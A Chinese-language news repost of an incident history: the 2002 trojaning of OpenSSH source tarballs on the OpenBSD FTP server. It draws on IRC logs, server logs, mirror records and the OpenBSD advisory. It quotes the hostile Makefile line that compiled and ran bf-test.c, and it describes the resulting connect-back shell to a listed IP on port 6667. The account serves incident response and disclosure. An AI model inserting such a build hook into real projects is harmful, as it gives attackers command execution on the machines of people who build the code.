被植入木马的OpenSSH(2002年)

Lobsters Hottest 新闻

摘要

2002年8月,OpenBSD FTP服务器上的OpenSSH源码tarball包被替换为被植入木马的版本,导致了一起安全事件,OpenBSD团队对此作出了响应。

<p><a href="https://lobste.rs/s/ti42hu/trojaned_openssh_2002">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/06/10 15:48

# 被植入后门的OpenSSH源码:http://miod.online.fr/software/openbsd/stories/trojan.html 这是一个我考虑写了很久的故事,因为事件发生时有很多错误或愚蠢的言论和文字。由于涉及敏感话题,我选择隐去一些细节,特别是两位OpenBSD开发者的身份,以及一些IP地址和其他可能暴露他们身份的小细节。在故事中,他们将被称作 *dev1* 和 *dev2*。他们是谁并不重要,而且他们确实是值得信赖的。 --- 2002年8月对OpenBSD来说开局不利。OpenSSH的源码归档(tarball)被替换成了带后门的版本,而OpenBSD团队无人察觉。其他人开始注意到这一点,并试图联系我们;不久后,**Alexander Guy**在IRC上收到了通知。那是西欧时间8月1日上午8点刚过,卡尔加里时间刚过午夜,他在OpenBSD开发者聊天频道报告了这个问题。 ``` 有人醒着吗,想看看openssh 3.4在ftp.openbsd.org上似乎被植入了后门? 什么? miod:检查ssh-keygen中的bf-test.c -r--r--r-- 1 12187 mirror 401466 Jul 31 16:48 openssh-3.4.tgz @ gcc bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out & 不好,这不在makefile里 bf-test.out内部编译了一个heredoc,是网络代码.. 搞什么 pval,你能给Bob打个电话吗? 连接到203.62.158.32的6667端口 我可以打,但现在凌晨12:30,真是糟糕。 你知道谁有ftp服务器的访问权限吗?也许Theo?他可能也在睡觉。 只是ftp.openbsd.org吗?也许我应该直接叫醒Bob cvs上的文件没问题 你在加拿大,mickey,所以? 哦不,cvs上也有问题 啊,让我先打他手机,再吵醒他全家 真的,你可以打给另一个人 我先临时把它删掉 这到底是怎么被植入后门的?告诉我。哦,你已经删掉了。 正在检查portable版本 http://www.andern.org/~a7r/outgoing/openssh_trojan.txt <- 看起来相当直接 看起来像irssi之类的木马 打电话给theo告诉他情况 好的。portable版本粗略看没问题 我真的要走了,祝你们好运处理... theo正在船上跟他通话 portable版本还是让我担心,因为文件日期也是Jul 31,而签名是一个月前的... -rw-rw-r-- 1 djm mirftp-ssh 840574 Jul 31 16:47 openssh-3.4p1.tar.gz -rw-rw-r-- 1 djm mirftp-ssh 232 Jun 26 08:20 openssh-3.4p1.tar.gz.sig 如果看起来可疑就删掉它,miod 停止所有机器,只保留zeus和cvs 不,我把它chmod 000了,这样我们可以看看 当然我笨,但我不知道镜像上会怎样——权限会被同步,还是文件会被删除,或者保持原样。 好的,应theo的要求关闭cvs,几分钟后去他家 我会停止它 我不知道,我给他打了电话,他刚才又打电话给我,问什么?让我帮他一个忙,暂时关闭所有机器 ``` 那天早上我不得不去参加葬礼,无法做更多事情。与此同时,**Theo de Raadt** 和 **Peter Valchev** 断开了所有OpenBSD系统的网络连接,并开始检查它们,寻找篡改和可疑活动。卡尔加里时间接近早上6点时,de Raadt 重新上线了一些系统,并要求所有人更改密码和ssh密钥。 ``` 不要换回旧密钥。更改所有密码。[...] 请仔细监控cvs和zeus 我得去睡一会儿[...] 我敦促大家寻找被更改的东西,我做不到。我已经做了我能做的。pval也累垮了。靠你们了。如果没有帮助,我真的快要放弃了。 目前还不清楚到底发生了什么。可能是dev2的账号。如果那条日志是假的,那就是root。在哪台机器上——cvs? 是的。看起来是那样。以为~ftp可以从其他机器访问。 ``` 不幸的是,很快发现我对文件执行chmod 000以使镜像无法获取它们的做法,并不会使文件从ftp镜像中消失。卡尔加里时间约6:30,西欧时间14:30: ``` 嗨,有人能删除这些文件吗:呵呵,wim。 > 398595 -> 401466 OpenSSH/openssh-3.4.tgz > 822567 -> 825630 OpenSSH/portable/openssh-3.2.2p1.tar.gz > 837668 -> 840574 OpenSSH/portable/openssh-3.4p1.tar.gz 这三个都被植入了后门,portable版本还在ftp.openbsd.org上,大多数文件都在所有FTP镜像上 -rw-rw-r-- 1 dev2 mirftp-ssh 825630 May 21 23:28 openssh-3.2.2p1.tar.gz 这个也是?为什么说它被植入了? 解压后,它是3.2.3目录,并且包含bf-test.c chmod 000没有清除镜像,显然 当然不会。真是的。而且不管谁删除了其中一个文件,我要责备他。那非常愚蠢。 ``` *(我从未因此被责备过。但如果再有第二次,我会创建一个新目录,将带后门的文件移到该目录,然后对这些文件和目录执行chmod 000,这样镜像会删除这些文件而不是跳过它们。)* OpenSSH 首席开发者 **Markus Friedl** 不久后也被告知了情况。 ``` markus,你对当前问题的了解程度如何? 我不知道 至少一个拥有mirftp-ssh访问权限的账号被攻破了。 嗯,我知道这个问题。我们目前正在尝试确定cvs和源码树被破坏的严重程度,并堵住漏洞。我要制作3.1 CD的差异补丁。 ``` 正确的、无后门的文件从瑞典镜像获取,该镜像此时尚未同步带后门的文件。卡尔加里时间上午7:11。 ``` MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2 ? 喂? MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01 MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 ? 我刚才放上去的,来自ftp.sunet.se。它们是对的,对吧? 稍等。slashdot现在有了一篇报道。 theo:来自sunet的文件没有openbsd-compat中的bf-文件。所有3个?它们看起来没问题(在~ftp中的那些) 是的,那会很奇怪 来自sunet的openssh-3.4p1.tar.gz通过了pgp签名验证 为什么坏的3.2.2p1没有出现? ``` OpenSSH 源码归档放在一个组可写的目录中。该组的成员是那些作为其OpenBSD活动的一部分,被允许在ftp服务器上发布文件的人;这些人主要是OpenSSH开发者。这将可能的入侵范围限制在最多几个账号。但究竟是哪些? ``` 我们已经非常明确:要么是[开发者名单]...要么是我...要么是root [...] 啧,我们需要知道的是:3个文件被修改了,而这些目录只有[开发者名单]、theo和root可以写入。 ``` **Wim Vandeputte** 在欧洲运营着一个ftp镜像,他在日志中发现带后门的文件是在两天前被放置的。 ``` Tue, 30 Jul 2002 02:50:19 +0200 (CEST) openssh-3.4 changed from 0206260812 -> 0206260817 openssh-3.4p1.tar.gz changed from 0206260820 -> 0207270905 ``` --- 与此同时,其他人正在分析这个后门。概括来说:一个额外的文件 `bf-test.c`,伪装成Blowfish(https://en.wikipedia.org/wiki/Blowfish_(cipher))加密算法的测试程序,并且在Makefile中添加了以下行,以便在编译源码时运行: ``` @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out & ``` 这一行会导致 `bf-test.c` 被编译,然后运行,其输出重定向到一个临时文件,接着该临时文件会通过用户的shell在后台运行。该输出是一个shell脚本,该脚本又会创建另一个包含简单C程序的文件,编译并运行它。这个程序会打开一个到IP地址203.62.158.32的6667端口的网络连接,并等待输入;另一端可以选择让程序停止,让程序等待一小时,或者生成一个shell(硬编码为 `/bin/sh`),从而让另一台机器从此时起执行任意命令。换句话说,尝试编译带后门的OpenSSH代码将允许203.62.158.32那台机器以编译者的身份执行任意命令;编译者很可能是root用户。这是一场灾难。值得庆幸的是,大多数Linux发行版以及FreeBSD上的打包工具会在使用源码归档之前验证其校验和(这很可能就是首先注意到篡改的原因)。当天晚些时候,一份全面的分析被发布到bugtraq(https://en.wikipedia.org/wiki/Bugtraq)上(https://web.archive.org/web/20030605043845/http://www.securityfocus.com/archive/1/285492/2002-07-29/2002-08-04/0)。 --- 在OpenBSD内部,此时人们正忙着评估损害,并搜索其他可能被篡改的文件。 ``` 比较cvs src和发行版CD上的src有意义吗?art正在做这个 试试theo,我在阅读从cvs再次上线以来的差异 ``` 我们还必须检查在文件被替换时以及之前所有连接到cvs.openbsd.org的连接。 ``` 如果有人能把我在cvs上的近期连接列表发给我,我可以标出任何可疑的连接,这样能缩小范围。 [...] 从木马目标(203.62.158.32)有多少连接? whois.apnic.net告诉我那个地址在墨尔本 也许我应该去问问他们 那家伙关闭了机器,声称有人入侵了他 似乎很可能 我不明白——你是一个黑客,你入侵了cvs.openbsd.org,然后你只做了添加一个明显的木马到文件中,甚至没有删除pgp签名?这说不通 pval和theo已经打电话给203.62.158.32了,他们可能也被入侵了。但那是IP地址,不是电话号码 :-) 第一次检查portable 3.4p1->HEAD差异,没有发现可疑内容 djm,你在检查什么?cvs?portable cvs?以防是我的账号被劫持 我们知道文件在什么时间范围内被更改的吗?最近24小时? wim,镜像日志能告诉我们吗?我向一些人发送了一封小型迷你公告,询问反馈。 带后门的文件日期是07/31 16:4x本地时间。 ``` 很快找到了被篡改的账号的证据。一位特定的开发者像djm一样私下问我,能不能给他一份他的账号的连接列表。我快速运行了grep,然后不愉快地发现后门要连接的地址出现在他的连接日志中。 ``` Jul 31 16:44:53 cvs sshd[15840]: Accepted publickey for dev2 from 203.62.158.32 port 65502 ssh2 哦,是打算发私信的 /m Name: web.snsonline.net Address: 203.62.158.32 这就是后门的目标IP 所以,要么是我,要么是root修改了日志。所有来自dev2的连接都是XXX.YYY.ZZZ.TTT,但这条不是。 或者你的邪恶双胞胎dev2,知道AAA.BBB.CCC.DDD吗? Aug 1 06:21:11 cvs sshd[22382]: Failed none for illegal user dev2 from AAA.BBB.CCC.DDD port 28950 发生了两次,第二次在几分钟后端口28952 AAA.BBB.CCC.DDD是我工作的地方 哦,好的。那时我的账号已被禁用。 ``` 与此同时,**Niels Provos** 正在编写安全公告。 ``` 有人有正确的MD5校验和吗?我好把它们放在初步公告里? 459c1d0262e939d6432f193c7a4ba8a8 dist/openssh-3.4p1.tar.gz GPG签名也应该匹配 d5a956263287e7fd261528bb1962f24c dist/openssh-3.4p1.tar.gz.sig MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 有人有其他版本的MD5吗?我需要3.4和3.2.2p1的MD5 检查GPG签名——我没有MD5 niels:http://www.freebsd.org/cgi/cvsweb.cgi/ports/security/openssh-portable/distinfo 并与我们现有的distfiles比较 正在处理。[...] 好的:9d3e1e31e8d6cdbfa3036cb183aa4a01 openssh-3.2.2p1.tar.gz be4f9ed8da1735efd770dc8fa2bb808a openssh-3.2.2p1.tar.gz.sig 我现在正在下载所有版本,将检查GPG签名并批量生成MD5。 ``` 人们也在讨论后门本身。 ``` 那是我见过的最蠢的木马了 为什么?什么为什么? 有很多断言... 这和之前irssi发行版中的木马风格一样。 你有cvs写入权限,而你能做到的最好的就是一个编译时木马?连我都会做得更多 :) 所以,要么是一个傻子找到了巧妙的方法把文件插入CVS,要么有什么巧妙之处。 你无法理解脚本小子的脑袋里在想什么。 但为什么要用一个愚蠢、容易检测的木马来引起注意? 脚本小子不会入侵cvs 有一阵子没来了,确定是用户级访问还是root级访问?看起来是用户级,但也可能是root修改了日志 考虑到这家伙也没改时间戳。miod,假设这家伙只是愚蠢,这太危险了。我们需要仔细检查。我们没有发现root被入侵的证据,但无法证伪。 henning,我同意。[...] 这个后门是为了引起注意而设计的,使用了与dsniff/irssi/BitchX后门相同的“签名”。 镜像在2002年8月1日CET时间0h49到2h56之间开始接收它。 没有一个认真想给OpenSSH下后门的人会这样做。 ``` --- ``` 无论如何,现在更重要的是弄清楚还有什么被损坏了,而不是发生了什么,但取证很有意思。 我应该把信息发到哪些供应商列表? cert也是?cert发来的第二封邮件。 hugh:或者转发给CERT,如果我们同意的话 cert发来了邮件 发送到freebsd-security,还有? 我们的列表、bugtraq、unix-dev、cert? 我转发到了vendor-sec ``` 这场讨论不会持续太久,所有人都被提醒,目前我们不知道cvs.openbsd.org上是否还有其他内容被篡改,需要大家对源代码进行集体验证。 ``` 3.1到-current之间有40MB的差异。我不可能全部阅读而不遗漏重要内容。还有人在做阅读吗?我们需要协调。 ``` Provos 在发现带后门文件后不到十小时发布了公告。 ``` CVSROOT: /cvs Module name: www Changes by: [email protected] 2002/08/01 09:50:48 Added files: advisories : ssh_trojan.txt Log message: trojaned distribution files ``` 该公告至今仍可在网上找到,地址是 https://www.openbsd.org/advisories/ssh_trojan.txt: ``` OpenSSH 安全公告 (adv.trojan) 1. 受影响系统: OpenSSH 版本 3.2.2p1、3.4p1 和 3.4 在 OpenBSD FTP 服务器上被植入后门,并可能通过正常的镜像过程传播到其他 FTP 服务器。 代码是在7月30日至31日之间的某个时间插入的。 我们已于8月1日 MDT 时间上午7点将带后门的文件替换回原始文件。 2. 影响: 任何在此时间段内从 OpenBSD FTP 服务器或任何镜像安装 OpenSSH 的人都应认为其系统已被入侵。 该木马允许攻击者在编译二进制文件的用户权限下获得系统控制权。可以执行任意命令。 3. 解决方案: 确认你没有构建带后门的源码版本。Portable SSH tar 包包含 PGP 签名,应在安装前验证。 你也可以使用以下 MD5 校验和进行验证。 MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2 MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01 MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a 4. 详细信息: 在构建 OpenSSH 二进制文件时,木马存在于 bf-test.c 中,并导致代码执行,该代码连接到指定的 IP 地址。 目标端口通常用于 IRC 协议。每小时尝试连接一次。如果连接成功,则可以执行任意命令。 后门可理解三个命令: Command A: 终止 exploit。 Command D: 执行 ```

相似文章

OpenSSH 10.4

Lobsters Hottest

OpenSSH 10.4 于 2026 年 7 月 6 日发布,包含安全修复以及对一种结合 ML-DSA 44 和 Ed25519 的复合后量子签名方案的实验性支持。

数周内第二次,微软软件包被植入凭据窃取器

Ars Technica

数周内第二次,微软已验证的开源软件包被植入了凭据窃取恶意软件,影响GitHub上的73个软件包。该攻击与威胁行为者TeamPCP有关,利用被盗的OIDC令牌,并通过云基础设施横向传播。